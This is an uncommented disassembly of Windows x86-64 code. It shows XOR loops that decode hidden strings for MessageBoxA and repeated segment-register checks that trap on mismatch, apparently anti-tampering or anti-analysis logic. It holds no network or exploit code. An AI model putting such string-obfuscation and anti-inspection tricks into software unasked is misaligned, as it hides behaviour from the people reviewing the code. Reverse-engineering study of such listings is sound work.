mov r9, r15
movabs r8, 0xc4f5948b1
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r10, 0x189eb29162
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x140036e1b
mov byte [rbp + 0x76d], r15b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x140036f47
mov rax, qword gs:[0x11]
mov ecx, 0xcf7cf033
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036f27
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036f27
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140036f47
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, rsi
jne 0x14003730c
mov rax, qword gs:[0x11]
movabs rcx, 0xe5a3648ce2378ab3
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140036fdf
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140036fdf
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003730c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x1400370ae
mov rax, qword gs:[0x11]
mov ecx, 0xcf7cf033
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003708e
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003708e
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400370ae
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
movdqa xmm0, xmmword [0x1400e3c80]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], __WSAFDIsSet
mov rdi, r15
mov ebx, 0x9610712c
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.14003743c
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, 0x11
jb 0x1400370cf
mov byte [rbp + 0x391], r15b
movdqa xmm0, xmmword [0x1400e3a10]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400e3a30]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400e39d0]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0xf26f56ae
mov dword [rbp + 0xd0c], 0x50206f7e
mov dword [rbp + 0xd10], 0xc1542c3e
mov word [rbp + 0xd14], 0x3f
mov rdi, r15
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.1400374a8
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x140037164
mov byte [rbp + 0xd15], r15b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x140037262
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140037242
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140037242
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140037262
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14003730c
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400372ec
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400372ec
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003730c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov ecx, 1
call fcn.14009d598
int3